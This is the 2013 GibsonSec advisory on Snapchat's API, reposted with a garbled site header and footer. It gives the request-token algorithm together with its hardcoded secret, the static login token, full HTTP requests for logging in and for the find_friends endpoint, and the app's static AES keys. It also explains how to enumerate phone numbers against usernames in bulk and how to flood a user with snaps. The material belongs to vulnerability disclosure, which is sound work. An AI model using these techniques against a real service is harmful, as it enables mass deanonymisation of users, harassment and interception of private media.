ĵ > ????????????????

????????????????


?????? ????? ?????? ?????? ?? ?????? ?????? ??????
{{{{ {{{{{{ {{{{{{ {{{{{{ {{{{{{
? ?
???????? ?? ????????? ???????? ????????? ?? ????? ???????? ???????? ????????
??????????????????????????????????????????????????????????????????????????????

{{{{{{{{{
{? ?{ SNAPCHAT SECURITY ADVISORY

FOUND: 07/27/2013
RELEASED: 08/27/2013
{???{? ?{???{
?{ {?
?{ {? CONTACT US:
security@gibsonsec.org, @gibsonsec
{? ?{
{? ?{ (Feel free to contact us, Snapchat)
?{ r2{?
?{?{?{?{?{?{?{?{?{?


?? 0x00 - TOC ????????????????????????????????????????????????????????????????

0x00 - TOC
0x01 - Intro
0x02 - Protocol
0x03 - Encryption
0x04 - Advertising
0x05 - Conclusion

?? 0x01 - Intro ??????????????????????????????????????????????????????????????


Recently, Gibson Security (or GibsonSec, as we prefer) have been
testing android applications for vulnerabilities.

One overlooked part of an applications security is often the API
it uses, and we see these vulnerabilities again and again with
android applications. Whether it be an OAuth key we can take and
use in our own malicious application, or issues regarding form
validation, there is usually some exploit we can take advantage of
for our own benefit.

In the last fortnight, we have been working hard reversing Snapchat,
and just recently finished our protocol documentation for their API.

Using our Snapchat API implementation, someone could save media
sent to them, DoS Snapchat users, and as we recently found, build
a database of Snapchat usernames and phone numbers, connecting
names to aliases easily, and with further work connecting social
media accounts to entries.

We also found that if someone was able to gain access to Snapchat's
servers, they could easily view, modify or replace snaps sent. With
a couple of lines of python, someone could view all your unread
messages, and depending on the situation, modify and even replace
the images completely.

Of the vulnerabilities found in Snapchat, these are the ones we feel
are the most danger to the image of Snapchat as a secure, fast and
easy app for people to use.

We attempted to apply for the "Software Developer" position at
Snapchat saying we would gladly help improve the security and
performance of the application, but failed to get a response.

The current "security" was put in place somewhat haphazardly and only
after the lack of secure encryption and data transmission was brought
up publicly. We don't believe that it is up to scratch for a service
such as Snapchat which is based on the idea of ephemeral media, and
hope that Snapchat significantly improve their security.

We hope you enjoy the release,

GibsonSec


?? 0x02 - Protocol ???????????????????????????????????????????????????????????


Snapchat use a fairly simple (yet strangely implemented) protocol on
top of HTTP. We won't reveal everything about the protocol, only what
is needed for these problems, but the rest is easily figured out.

API endpoint: https://feelinsonice.appspot.com (Yes, we're serious..)

Creating request tokens

def create_token(token, timestamp):
secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
pattern = ("00011101111011100011110101011110"
"11010001001110011000110001000110")
h1 = sha256(secret + token)
h2 = sha256(timestamp + secret)
return [h1[i] if c == "0" else h2[i] for c in pattern]

The basic idea behind this is that you take the hash of your auth
token (which you get from the server on login) and the timestamp of
your request, then combine them together using lots of voodoo and
witchcraft (read: some simple string iteration) and get your request
token back out.

This token is used in every request sent to the api, under the name
req_token. In two cases (logging in and requesting a password reset),
you wouldn't have an authentication token, so a static auth token is
used here instead:

m198sOkJEn37DjqZ32lpRu76xmw288xSQ9

NB! The timestamp can any integer as long as it is the same in your
request (in the timestamp field) and your call to create_token().

Logging in to Snapchat

POST /ph/login HTTP/1.1
Host: feelinsonice.appspot.com
Content-Length: 134
Content-Type: application/x-www-form-urlencoded

username=<username>&password=password&timestamp=1376814395296&req_to
ken=9309c75723b1c4186e82d4edf4a16f14cbe24d8d19f3da84d9b4e214d3c5110b

Here, req_token comes from a call to create_token() with the params:

>> create_token("m198sOkJEn37DjqZ32lpRu76xmw288xSQ9", 1376814395296)
"9309c75723b1c4186e82d4edf4a16f14cbe24d8d19f3da84d9b4e214d3c5110b"

where "m198..." is the static token used to login and 1376... is the
current unix timestamp (sent as timestamp and used in create_token())

This will get a JSON reply with all sorts of fields in it; we're only
interested in the auth_token field. It should look like this:

f51e1fe0-40aa-4c57-ac87-594f101722f8

Store that for later, we'll need it again for our next API call.

Finding your "friends"

POST /ph/find_friends HTTP/1.1
Host: feelinsonice.appspot.com
Content-Length: 170
Content-Type: application/x-www-form-urlencoded

username=<username>&timestamp=1376814395296&req_token=e4b9c7b723b7c4
1c6282d4ad84816f1acbd296ad8ff3d684d363e2493390310e&countryCode=US&nu
mbers=%7B%22311-555-4202%22%3A%20%22Kate%20Libby%22%7D

This is a bit of a bulky request, so lets explain the various fields:
req_token is the result of a call to create_token() with the auth
token we stored logging in (you *did* store that, right?).
countryCode is your standard two letter country ISO code.
numbers is an encoded (and escaped) JSON dictionary of numbers
(key) relating to address book names (value). It should look some
thing like this:
pre-HTTP-quote: {"311-555-4202": "Kate Libby"}
post-HTTP-quote: %7B%22311-555-4202%22%3A%20%22Kate%20Libby%22%7D

The reply (if an account was found with a given number) will look
something like this:

{logged: true,
results: [{
type: 0,
name: "acidburn",
display: "Kate Libby"
}]}

In the reply, there's one field we're interested in: results.
It's an array of objects with three fields: type, name and display.
type is either 0 (a public account) or 1 (a private account).
name is the person's Snapchat account name.
display is the display name you gave to Snapchat in your request.

In bulk, these replies aren't interesting. The fun comes in when you
send a single phone number at a time. Doing this, you can make a 1:1
link between a person's phone number and their Snapchat account.

Handy feature? Yes. Easily exploitable? Definitely.

Thanks to a lack of limiting, the upper bound limit to the amount
of numbers you can send in a request is incredibly high - we were
able to get replies for upwards of 75,000 phone numbers at once,
getting a reply with thousands of active Snapchat accounts. The
idea that simply linking your phone number to Snapchat can give
away your account to anyone interested with minimal effort is
quite scary.

Using easily found ranges of mobile numbers, one could potentially
get the username and phone number of everyone using Snapchat (who
attached a phone number) in the U.S. in a small timeframe.

Denial of Service against Snapchat users

Due to the lack of limiting (which we mentioned above), it is easy
to send several hundred friend requests or snaps directed at one
person simultaneously, potentially overloading the app. Attempting
to load approximately 100 snaps at once causes the app to lock up
for a period (and in most instances, crash).


?? 0x03 - Encryption ?????????????????????????????????????????????????????????


You might have heard, or you might know by now, that snaps sent and
received are "encrypted". That may be the case, however:
Snaps are encrypted using AES in ECB mode.
This is possibly one of the least effective modes of encryption;
Identical blocks of plaintext are encrypted into identical blocks
of ciphertext. Granted, this is only an issue if you use the same
encryption key, which leads us to our next point.
Snaps are encrypted using symmetric-key encryption! The key is
the same in both the Android and iOS app, and it's just sitting
around in the app waiting for someone to find it.

What is this magic encryption key used by any and all Snapchat app?

M02cnQ51Ji97vwT4

You can find this (in the Android app) in a constant string located
in com.snapchat.android.util.AESEncrypt; no digging required, it is
quite literally sitting around waiting to be found by anyone.

On a more positive note (perhaps), in the 3.0.4 (18/08/2013) build
of the Android app, there is - oddly enough - a second key!

1234567891123456

Again, this is just sitting around in AESEncrypt waiting to be
found. These two static keys used for encryption lead us on to
our big topic under encryption.

Proof Snapchat can intercept your media

Snapchat might not suggest you send state secrets (read: pictures
of your privates) via Snapchat, but people seem to do it anyway.
We see time and time again apps and workarounds that allow users
to save any and all snaps that are sent to them (a recent one being
called "Snap Save" for iOS), yet people only think about the user
end of the application, often forgetting the servers in between.

Thanks to the symmetric encryption used by Snapchat for every snap
ever sent, if malicious users gained access to Snapchat's servers,
they could potentially:
View all currently unread snaps (without anyone knowing).
Modify or replace currently unread snaps (without anyone knowing).
See old snaps already sent - Snapchat claim to remove snaps once
read, but the only people who can be sure of that are Snapchat
themselves; as users, we're just taking their word for it.


?? 0x04 - Advertising ????????????????????????????????????????????????????????


Whilst we were browsing the latest changes to the Android client, we
came across a new addition which caught our eyes.

A new class was added under the name BroadcastSnap, along with a new
field called events which was added to the sync and logout tasks.
After some resilient digging, we found out a few things about this
new mysterious type of snap:
It stores some text and a URL.
They can only be dismissed by opening them.
Double clicking on one will open the URL in your default browser.
Information about the click event is sent to Snapchat in the new
events field (url, id, and sender name).
It shows up as an unopened cyan box in the snap feed.
(see: gibsonsec.org/snapchat/broadcastsnap.png)
Unlike the rest of the application which uses POST requests, they
send a single GET request instead. Just to be rebellious..
There's no way to generate them as a client - they will have to be
created by the server, presumably.

Making an educated guess from the information stored in the snap and
the name it's given, we can come to two obvious conclusions:
They'll be used by Team Snapchat to send out relevant information
and perhaps links to updates of the ToS or some such.
They're going to be used for the in-app advertising which Evan
Spiegel has been suggesting they'll implement for a while.

They're fairly obtrusive, which will definitely hassle users:
They float to the top of your feed, just begging for attention.
You can only dismiss them by opening them - this takes you out of
the app, which might take a while for users with slower devices.
The attached text (which is displayed next to the timestamp) will
plague your feed for as long as it takes to be pushed down and out.


?? 0x05 - Conclusion ?????????????????????????????????????????????????????????


As can be seen above, Snapchat is far from perfect, but we hope that
we can contribute to reinforcing the need for better applications of
cryptography in Snapchat and applications like it.

Snapchat are in a world where some (if not most) of their users are
placing their trust in the security behind the app; they can't fall
short on securing their application.

Being a relatively new company, Snapchat, like any startup, are going
to be working under shorter deadlines, which - although it may
benefit the business in the short-term - leaves vulnerabilities in
the final product to be found (if ever) and exploited by a malicious
third party.

We can offer the following advice to anyone developing an
application, which can be applied from the projects of a bedroom
programmer to a Fortune 500 company:
Implement internal code guidelines; nicely structured code is
easier to read, and also leads to less hacky and spaghetti-like
code, which can make vulnerabilities harder to find.
Audit your code often, using external services as you would with
your finances.
Always plan for the worst case scenario.
Pay attention to security-focused mailing lists, and learn from
the vulnerable code of other developers.

Ϊҳ | ղ |

All Rights Reserved Powered by ĵ

Copyright © 2011
ĵ磬ַϵtousu#anggang.com
ض